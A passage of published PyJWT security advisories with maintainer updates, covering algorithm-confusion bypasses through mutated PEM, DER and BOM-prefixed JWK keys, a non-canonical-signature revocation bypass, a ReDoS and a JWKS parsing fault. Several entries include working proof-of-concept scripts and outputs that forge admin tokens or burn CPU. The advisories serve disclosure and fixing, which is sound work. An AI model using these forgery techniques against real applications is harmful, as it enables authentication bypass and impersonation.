        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

If neither predicate fires, :357 returns key_bytes unchanged — the PEM text is used directly as the HMAC secret.

is_pem_format (jwt/utils.py:116-127) is bool(_PEM_RE.search(key)), where _PEM_RE requires ----[- ]BEGIN (...)[- ]----\r?\n, then .+?\r?\n, then the END marker. The LF in each \r?\n is mandatory, the markers are anchored directly after a newline, and only [- ] is tolerated adjacent to them — not arbitrary whitespace. So a key with a tab/space before the END marker, with bare \r terminators, or folded onto one line is not recognized as PEM. cryptography's load_pem_public_key is tolerant of exactly these forms and still returns the key.

Reach: jwt/api_jws.py:386 performs the allow-list check (passes when HS256 is in the list) and takes the non-PyJWK branch to alg_obj.prepare_key(key) at :407. The mismatch guard above is the only thing standing between a mixed allow-list and using the public key as an HMAC secret.

PoC

Vulnerable path: jwt/algorithms.py:331 (guard gated on is_pem_format) -> is_pem_format returns False for a loader-accepted PEM -> jwt/algorithms.py:357 returns the public-key bytes as the HMAC secret -> HS256 verification succeeds.

Reproduced on PyJWT 2.13.0 (commit 7144e453) with cryptography 49.0.0, using only the public API. For each of an EC (ES256) and an RSA-2048 (RS256) key: start from the correct public-key PEM, apply a mutation, confirm is_pem_format now returns False while cryptography still loads the bytes, then verify a token signed alg=HS256 with the public-key text as the HMAC secret, under algorithms=["ES256","HS256"] (resp. ["RS256","HS256"]).

Observed output:

pyjwt 2.13.0
  ec  canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError
  ec  marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  ec  CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  ec  folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError
  rsa marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  [control B] single-alg [ES256] allow-list vs forged HS256: REJECTED:InvalidAlgorithmError
RESULT: ALL-INVARIANTS-HOLD

Each mutated form on both key types forged a token accepted as superadmin. Controls: the unmodified PEM is correctly rejected with InvalidKeyError (the guard works and the mutation is load-bearing); a single-algorithm allow-list ["ES256"] rejects the forged HS256 token with InvalidAlgorithmError (the mixed allow-list is a necessary precondition).

Steps to reproduce:

  1. Generate an EC P-256 (or RSA-2048) keypair; serialize the public key to PEM.
  2. Mutate the PEM into a loader-accepted, regex-missed form — e.g. insert a tab before -----END, convert terminators to bare \r, or join all lines into one.
  3. Confirm jwt.utils.is_pem_format(mutated) is False and cryptography.hazmat.primitives.serialization.load_pem_public_key(mutated) succeeds.
  4. jwt.encode({"sub":"superadmin"}, mutated, algorithm="HS256"), then jwt.decode(token, mutated, algorithms=["ES256","HS256"]) — verification succeeds.
Impact

Cryptographic signature-verification bypass (CWE-347): algorithm confusion re-enabled by an incomplete asymmetric-key guard. An attacker who knows only the public verification key forges arbitrary-claim tokens that verify as authentic, subject to the two deployment preconditions above. The PyJWK verification path binds a single algorithm and is unaffected; enforce_minimum_key_length (off by default) does not block a 2048-bit/P-256 PEM. Impact when the preconditions hold is critical (universal forgery); the compound precondition is realistic but was not observed in a specific real-world deployment, so this is rated Critical, with the deployment precondition captured in CVSS.

Maintainer update — 2026-09-10

We reproduced the reported asymmetric-key guard bypass on PyJWT 2.13.0: PEM public keys with loader-accepted formatting mutations were missed by is_pem_format, then accepted as HMAC secrets when a verification call mixed symmetric and asymmetric algorithms. Canonical PEM controls remained blocked, and a single-algorithm allow-list rejected the forged HS256 token.

The fix is committed as 8b4e233a22206b34ec1186e912e75c0b2396ac07. PyJWT now scans supported PEM BEGIN/END markers in one pass, preserving matching labels and handling overlapping markers without regex backtracking. Regression coverage includes RSA loader-accepted mutations, incomplete repeated markers, later valid PEM blocks, and overlapping END/BEGIN markers. The fix does not broaden DER-key classification or change the caller's algorithm allow-list policy.

Verification on the signed commit passes with 400 tests and 4 intentional cryptography-environment skips; Ruff formatting/lint and the Python 3.9 mypy tox target pass. Fresh Astra/max independent review accepted the final snapshot and confirmed O(n) scanning, bounded storage, and no blocking compatibility or security finding. The fix has not been released; the advisory remains Critical with CVSS 3.1 score 9.1 and CWE-347.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Non-canonical signature segments enable raw-token revocation bypass

CVE-2026-102269 / GHSA-hxm8-2xgr-2p9m / PYSEC-2026-4147

More information

Details

Summary

PyJWT 2.13.0 accepts compact JWS signature segments containing characters that
are not in the Base64URL alphabet. Appending !!!! to a valid signature does
not change the decoded signature bytes or authenticated claims, but it changes
the serialized token and its SHA-256 hash. An application that indexes logout
or revocation state by the raw token therefore rejects the logged-out token and
accepts its no-key alternate serialization.

This report separates two issues: permissive compact-JWS decoding is the
library behavior, while using raw serialized JWT text as a security identity is
a dangerous application composition. A jti-indexed control blocks both
representations.

Affected Version

Confirmed with PyJWT 2.13.0 on CPython 3.13. The mutation changes only the
signature segment and requires no signing key.

End-to-End Reproduction
.venv-research/bin/python 06-practical-testing/revocation-bypass-lab.py

The loopback-only lab performs:

  1. Issue a valid HS256 admin token.
  2. Access /protected successfully.
  3. Log out the canonical token and store SHA256(raw_token).
  4. Confirm canonical replay returns HTTP 401.
  5. Append !!!! to only the signature segment.
  6. Confirm the mutated token has the same verified claims and signature bytes,
    a different raw hash, and receives HTTP 200.
  7. Repeat with jti-indexed revocation and confirm both forms return HTTP 401.

Observed statuses for raw-token revocation were 200 -> logout -> 401 for the
canonical token and 200 for the alternate serialization. The jti control
returned 401 for both replays after logout.

Security Boundaries and Severity

This is not signature forgery: the attacker starts with a valid token and
cannot alter its claims. Impact requires a consumer to bind revocation, replay
state, rate limits, or cache identity to the raw compact string. Under that
composition, an authenticated user can bypass logout or token-specific
revocation without the signing key. Medium is suggested for triage because the
security impact is real but application-dependent.

  • Reject signature segments containing characters outside [A-Za-z0-9_-].
  • Reject padding and other non-canonical Base64URL encodings for compact JWS.
  • Add regression tests proving malformed signature encodings fail before or
    during verification.
  • Document that applications must use a semantic identifier such as jti, not
    the raw serialized token, for revocation and replay state.
Maintainer update — 2026-09-09

We reproduced the reported behavior on the verified master commit 8915570: appending !!!! to a valid compact-JWS signature segment is accepted, produces the same decoded signature bytes and claims, and changes the serialized token hash. Existing JWS verification controls pass. The behavior is present in the tested release range represented by tags 2.4.0, 2.8.0, 2.10.1, 2.12.1, and 2.13.0.

The security impact is conditional on an application using the raw serialized token as the identity for logout, revocation, replay, rate-limit, or cache state. Under that composition, an attacker who already holds a valid token can use an alternate serialization after the canonical string is revoked. This is not signature forgery or claim alteration; applications should use a semantic identifier such as jti for token identity.

The report is ready to be accepted as a draft for continued remediation. A narrow fix assessment recommends rejecting non-canonical Base64URL characters and padding in compact-JWS segments. No fix commit or release is claimed yet.

Maintainer update — 2026-09-09

The fix has been rebased onto the current master as e6f48401001609a8f99e71fcaf355fb895d508a8 and is ready to be pushed. Compact-JWS header, payload, and signature segments are now required to use the unpadded Base64URL alphabet and canonical re-encoding; a signature segment containing non-canonical characters such as !!!! is rejected before verification. Valid detached b64=false handling remains supported.

Verification on the rebased fix commit passed 372 tests with 4 intentional cryptography-environment skips; Ruff formatting/lint and git diff --check passed. The compressed-payload regression fixture was updated to valid canonical compact-JWS encoding. No release containing the fix has been published yet, so the patched version remains unset pending release planning.

The advisory remains medium severity and unpublished.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N and the proposed CWE classification is CWE-180. The issue permits alternate non-canonical serializations of an already valid signed token to bypass applications that identify tokens by their raw serialization; it does not forge signatures or alter claims. CWE-180 captures validation/canonicalization ordering.

These metadata changes do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT: ReDoS vulnerability when calling the is_pem_format function.

CVE-2026-102270 / GHSA-jwrc-g2q2-pq5p / PYSEC-2026-4148

More information

Details

Summary

There is a Re-DoS vulnerability in the is_pem_format function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.

Details

The problem is that the lazy quantifier .+? will always first try to match as little as possible until it finds a ---- END. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of ----BEGIN CERTIFICATE----- lines and no ---- END line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a ---- END line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²).

PoC
import time
import re

BEGIN_LINE = b"-----BEGIN CERTIFICATE-----\n"

_PEMS = {
    b"CERTIFICATE",
    b"TRUSTED CERTIFICATE",
    b"PRIVATE KEY",
    b"PUBLIC KEY",
    b"ENCRYPTED PRIVATE KEY",
    b"OPENSSH PRIVATE KEY",
    b"DSA PRIVATE KEY",
    b"RSA PRIVATE KEY",
    b"RSA PUBLIC KEY",
    b"EC PRIVATE KEY",
    b"DH PARAMETERS",
    b"NEW CERTIFICATE REQUEST",
    b"CERTIFICATE REQUEST",
    b"SSH2 PUBLIC KEY",
    b"SSH2 ENCRYPTED PRIVATE KEY",
    b"X509 CRL",
}

_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \\1[- ]----\r?\n?""",
    re.DOTALL,
)

def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))

def make_payload(num_headers: int) -> bytes:
    return BEGIN_LINE * num_headers

def measure(num_headers: int) -> float:
    payload = make_payload(num_headers)
    start = time.perf_counter()
    is_pem_format(payload)  # returns False, but burns CPU getting there
    elapsed = time.perf_counter() - start
    print(
        f"  headers={num_headers:>4}  size={len(payload)//1024:>3} KB"
        f"   time={elapsed*1000:>7.1f} ms"
    )
    return elapsed

for n in (1000, 2000, 4000, 8000):
    measure(n)
Impact

The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.

Maintainer update (2026-09-10):

We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Severity

  • CVSS Score: 4.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard

CVE-2026-102271 / GHSA-p4g4-x82p-q773 / PYSEC-2026-4149

More information

Details

Summary

HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.

An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.

The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.

Details

The guard is at jwt/algorithms.py:331:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

Both helpers are text matchers. Neither one parses the key.

  • jwt/utils.py:126, is_pem_format, runs a regex for ----[- ]BEGIN ...----.
  • jwt/utils.py:141, is_ssh_key, checks startswith against a list of ssh- and ecdsa-sha2- prefixes.

A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.

There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.

This affects three encodings that are all blocked in their PEM form today:

  • DER SubjectPublicKeyInfo
  • DER PKCS#1
  • DER encoded X.509 certificate

History of this guard:

  • Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.
  • Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.
  • DER has never been covered.

Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.

Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.

PoC

Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.

pip install "pyjwt==2.13.0" cryptography
python poc.py

No special configuration is needed. The script builds its own key.

import base64
import hashlib
import hmac
import json

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)

def b64(raw):
    return base64.urlsafe_b64encode(raw).rstrip(b"=")

def forge(secret):
    # The attacker does not use PyJWT. They only need the public key bytes.
    head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
    body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
    signing_input = head + b"." + body
    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
    return (signing_input + b"." + b64(sig)).decode()

##### PEM form is rejected, as expected since CVE-2022-29217.
try:
    jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
    print("PEM rejected:", exc)

##### Same key, DER form. The forged token verifies.
print("DER SPKI accepted:", jwt.decode(forge(der), der, algorithms=["RS256", "HS256"]))
print("DER PKCS#1 accepted:", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=["RS256", "HS256"]))

Output:

PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s
DER SPKI accepted: {'user': 'admin', 'role': 'admin'}
DER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}

The token is signed with plain hmac, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.

We also have a regression test written in your pytest style. It uses your own tests/keys fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.

Impact

Key confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.

Who is affected: applications that verify tokens with an asymmetric public key, also list an HS* algorithm pass that public key to jwt.decode as DER bytes.

What an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first.

What limits it: the application must already be in the mixed HS* and RS* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of PyJWK and PyJWKClient are not affected.

Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT BOM Bypass

CVE-2026-102272 / GHSA-r6x4-923q-g947 / PYSEC-2026-4150

More information

Details

Affected Package

Root Cause

PyJWT 2.13.0 introduced a guard in HMACAlgorithm.prepare_key() (file jwt/algorithms.py, approximately line 344) to prevent RSA public key material from being used as an HMAC secret — the root cause of CVE-2026-48526.

The guard uses bytes.lstrip() before calling startswith(b"{"):

stripped = key_bytes.lstrip() # strips ASCII whitespace only
if stripped.startswith(b"{"): # JWK detection
 ...
 raise InvalidKeyError("The specified key is an asymmetric key...")

bytes.lstrip() with no argument removes only bytes in the ASCII whitespace set (\x20 \t \n \r \x0b \x0c). A UTF-8 BOM prefix (\xef\xbb\xbf) is not stripped, so stripped.startswith(b"{") returns False for any BOM-prefixed JWK JSON. The JWK detection block is never entered, and the RSA public key bytes are silently accepted as the HMAC-SHA256 secret.


PoC Sketch (pseudocode — not a weaponized payload)

##### 1. Attacker obtains RSA public key JWK (e.g., from /jwks.json endpoint)
##### and prepends a UTF-8 BOM byte sequence before the JSON opening brace.

##### 2. Attacker signs a JWT using HS256, with the BOM-prefixed JWK as the secret.
##### 3. Attacker submits the forged token to a verifier that:

##### - accepts algorithms=["HS256", "RS256"]
##### - holds the same RSA public key as raw bytes (BOM-prefixed key file)

##### 4. PyJWT 2.13.0 accepts the token because the BOM causes the JWK
##### detection check to be skipped — the RSA JWK bytes become a valid HMAC key.

##### Result: arbitrary claims (role, sub, etc.) accepted by the verifier.

Impact

An unauthenticated network attacker who knows the target application's RSA public key — which is public by design and obtainable from a JWKS endpoint or certificate — can forge JWT tokens containing arbitrary claims and have them accepted by a PyJWT 2.13.0 verifier configured with a mixed algorithm set (algorithms=["HS256", "RS256"] or equivalent). The resulting impact
is complete authentication and authorization bypass (C:H/I:H). Attack Complexity is High (AC:H) because the attacker must obtain the RSA public key and the verifier must use a mixed-algorithm configuration; no authentication is required (PR:N). This is a patch bypass: users who upgraded to 2.13.0 specifically to remediate CVE-2026-48526 remain vulnerable.


Suggested Fix

Option A (minimal): Replace lstrip() with an explicit strip of known
BOM prefixes before the JSON detection check:


##### Strip common BOM prefixes in addition to ASCII whitespace
BOM_PREFIXES = (b"\xef\xbb\xbf", b"\xff\xfe", b"\xfe\xff")
stripped = key_bytes
for bom in BOM_PREFIXES:
 if stripped.startswith(bom):
 stripped = stripped[len(bom):]
 break
stripped = stripped.lstrip()

Option B (more robust): Use json.loads() as the detection mechanism
instead of a byte-prefix check, so encoding variants and whitespace are
handled by the JSON parser:

try:
 test_obj = json.loads(key_bytes.strip())
 if isinstance(test_obj, dict) and "kty" in test_obj:
 raise InvalidKeyError("The specified key is an asymmetric key...")
except (ValueError, UnicodeDecodeError):
 pass

Option B is preferred because it is resilient to any future encoding variant.


Maintainer update — 2026-09-09

We reproduced the reported algorithm-confusion path on PyJWT 2.13.0. When an application passes a raw public RSA JWK as the key and allows both an asymmetric and HMAC algorithm, a forged HS256 token signed with the known public JWK bytes is accepted when the JWK is represented in encodings accepted by Python's JSON decoder. The normal raw-JWK, asymmetric-only, and algorithm-bound PyJWK controls reject the token. This is an application configuration precondition, but the bypass is in PyJWT's own raw-JWK validation guard and is in scope under the PyJWT security policy.

The fix is committed as 180783930de91876bc0d601f826a1f2956057291. HMACAlgorithm.prepare_key() now checks parsed JSON objects for kty across accepted UTF-8/16/32 representations, preserves non-JWK HMAC key bytes, and conservatively rejects deeply nested JSON objects even when parsing reaches the recursion guard. Regression coverage includes BOM and BOM-less encodings, deep non-JWK keys, deep JWK objects, and unpaired-surrogate cases.

The full suite passes with 391 tests and 4 intentional cryptography-environment skips. A fresh Astra/max independent review accepted commit 180783930de91876bc0d601f826a1f2956057291. It independently confirmed encoding/BOM handling, recursion and surrogate behavior, preservation of non-object key compatibility, and the reported test results.

The fix has not been released. The advisory remains High with its existing CVSS 3.1 score of 7.4, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT accepts public JWK containers as HMAC secrets

CVE-2026-102273 / GHSA-w2cx-738m-mc7w / PYSEC-2026-4151

More information

Details

Summary

PyJWT 2.13.0 contains an incomplete defense against algorithm confusion when
an application mixes symmetric and asymmetric algorithms in one verification
path. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it
is wrapped in a JWKS object, nested in an array, or represented in another
container form that does not expose a top-level kty member.

Impact

An attacker who knows the public key material can forge HS256/HS384/HS512
tokens if the application simultaneously:

  • allows both HS* and asymmetric algorithms;
  • passes raw public JWK/JWKS JSON as key=; and
  • uses that same value as the HMAC secret.

This can allow forged JWT claims in affected application configurations. The
issue does not affect applications that keep symmetric and asymmetric
verification paths separate and follow PyJWT's algorithm-selection guidance.

Fix status

The fix is on master in commit 801cd12 (fix: reject public JWK container HMAC keys). HMACAlgorithm.prepare_key now rejects public JWK members found in
objects, arrays, nested containers, BOM/UTF variants, and recursion-limit
inputs. It also recognizes escaped JSON member names without treating ordinary
string values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte.

The change was tested with focused regression tests and the full local tox
matrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy,
package metadata, and coverage passed; unavailable interpreters were skipped
by the project configuration. A fresh independent Astra/max security review
accepted the final diff with no blocking findings.

The affected range is = 2.13.0. The fix is on the unreleased development
branch; the patched version will be recorded when a released 2.x version
containing the fix is available. This advisory is being moved to draft pending
that release.

Reporter credit

Credit: Charles Vosburgh / Trilobyte.

Original report

The original report and reproduction package are retained in the private
advisory record.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set

CVE-2026-102274 / GHSA-w6j9-cwv2-h6wq / PYSEC-2026-4152

More information

Details

Summary

A malformed RSA JWK inside a JWK Set aborts parsing of the entire set instead of being skipped, because RSAAlgorithm.from_jwk can raise a plain ValueError that isn't caught by PyJWKSet's per-key error-skipping logic.

Affected component / version
  • Package: PyJWT (PyPI, ecosystem pip)
  • Files: jwt/api_jwk.py (PyJWK.__init__, PyJWKSet.__init__), jwt/algorithms.py (RSAAlgorithm.from_jwk)
  • Confirmed present in the master branch as of 2026-09-05 (commit 7144e4534c34810f4525dc4578a32addd8212cff, tag 2.13.0). Directly verified identical in tags 2.9.0, 2.10.0, 2.11.0, 2.12.0, 2.12.1, 2.13.0 -- the vulnerable call and the except PyJWTError guard are unchanged across all six releases. Not verified against any release prior to 2.9.0.
Details

PyJWKSet.__init__ (jwt/api_jwk.py:145-152) iterates each key in a JWK Set:

for key in keys:
    try:
        self.keys.append(PyJWK(key))
    except PyJWTError as error:
        if isinstance(error, MissingCryptographyError):
            raise error
        # skip unusable keys
        continue

PyJWK.__init__ (api_jwk.py:82) calls self.Algorithm.from_jwk(self._jwk_data) with no try/except of its own. For an RSA JWK, this dispatches to RSAAlgorithm.from_jwk (jwt/algorithms.py:539-586). When the JWK supplies d, e, n without the CRT parameters (p, q, dp, dq, qi), from_jwk calls cryptography's rsa_recover_prime_factors(public_numbers.n, d, public_numbers.e) (algorithms.py:572-574) to derive the key. If d is not the correct private exponent for that n/e pair, rsa_recover_prime_factors raises a plain ValueError.

ValueError is a built-in Python exception and is not a subclass of jwt.exceptions.PyJWTError (PyJWTError(Exception) is the root of PyJWT's own exception hierarchy). It is therefore not caught by PyJWKSet.__init__'s except PyJWTError, and propagates out of the constructor, aborting the for key in keys: loop before any subsequent key in the list is processed.

PyJWKSet.from_dict/from_json and PyJWK.from_dict/from_json are exported public API (jwt/__init__.py). PyJWKClient.get_jwk_set (jwt/jwks_client.py:158) feeds a fetched JWKS HTTP response directly into PyJWKSet.from_dict with no per-key pre-validation, so this is reachable through the documented PyJWKClient flow whenever the fetched JWKS contains a malformed key alongside valid ones.

Proof of concept
import jwt

good_jwk = {
    "kty": "RSA",
    "n": "<a valid base64url-encoded RSA modulus, e.g. from a real 2048-bit public key>",
    "e": "AQAB",
}

bad_jwk = {
    "kty": "RSA",
    "n": good_jwk["n"],
    "e": "AQAB",
    "d": "AAAAAA",  # not the true private exponent for n/e, no CRT params present
}

jwks_doc = {"keys": [bad_jwk, good_jwk]}

jwt.PyJWKSet.from_dict(jwks_doc)

##### raises: ValueError: Unable to compute factors p and q from exponent d.
##### (uncaught -- PyJWKSet.__init__ never returns, `good_jwk` is never added)
Impact

PyJWKSet.__init__ raises before completing, so no key in the JWK Set is added to the resulting set, including keys unrelated to the malformed entry. This requires the malformed key to already be present in a JWK Set the application parses (e.g. one entry in an aggregated/federated key set, or a key affected by transit corruption before signature verification of the JWKS transport itself). Applications that vet each key individually before adding it to a trusted set are not affected. The failure is an uncaught ValueError, not one of PyJWT's documented jwt.exceptions.* types, so exception handling written against PyJWT's documented contract (except jwt.exceptions.PyJWTError) will not catch it either.

Suggested remediation

Wrap the key-construction call in PyJWK.__init__ (api_jwk.py:82) so a ValueError is converted into InvalidKeyError (a PyJWTError subclass):

try:
    self.key = self.Algorithm.from_jwk(self._jwk_data)
except ValueError as e:
    raise InvalidKeyError(f"Unable to construct key from JWK: {e}") from e

This lets PyJWKSet.__init__'s existing except PyJWTError: continue skip the one malformed key as its own comment already states is intended.

Responsible Disclosure Timeline

Per the OWASP Vulnerability Disclosure Cheat Sheet and Google Project Zero's 2020 disclosure policy:

  • Day 0 (date of submission): to be set to the actual API response's created_at timestamp when this report is submitted. If submitted on the date of this draft (2026-09-05), Day 0 = 2026-09-05.
  • Day 90 (full-public-disclosure deadline, regardless of fix status): Day 0 + 90 days -- 2026-12-04 if Day 0 is 2026-09-05.
  • A brief mutually-agreed extension (standard 14-day grace period) is available if a fix is scheduled but not yet shipped by Day 90 -- extending to 2026-12-18 in that case.
  • This window may shorten instead of extend if the issue is confirmed under active exploitation.
Try It Yourself (Sandbox)

Reproduce the PoC above, and attempt your own fix, in an isolated sandbox with no access to production systems, secrets, or real data.

Credit

Discovered and reported by SecDim Security Research: secdim.com, @​secdim, security@secdim.com.

Maintainer update — 2026-09-08

We reproduced the reported behavior on PyJWT 2.13.0 with cryptography installed: a malformed RSA private JWK containing an invalid d value and no CRT parameters raised a plain ValueError while parsing a JWK set. Because PyJWKSet skips PyJWTError instances only, that exception aborted parsing before subsequent valid keys were loaded. The impact is a conditional availability failure for applications that parse a key set containing a malformed entry; it is not a signature-forgery or claims-verification bypass.

The independently verified affected range is >= 2.9.0, <= 2.13.0; earlier releases were not checked. A narrow fix has been prepared in commit 8915570 based on master commit 5fa7594: PyJWK converts key-construction ValueError exceptions to InvalidKeyError, allowing the existing PyJWKSet skip path to continue. Regression coverage verifies that a malformed RSA key is skipped while a valid key in the same set remains usable. The full suite passes with 370 tests and 4 intentional cryptography-environment skips; formatting, lint, and targeted type checks pass. The advisory remains in triage while the fix goes through release planning.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)

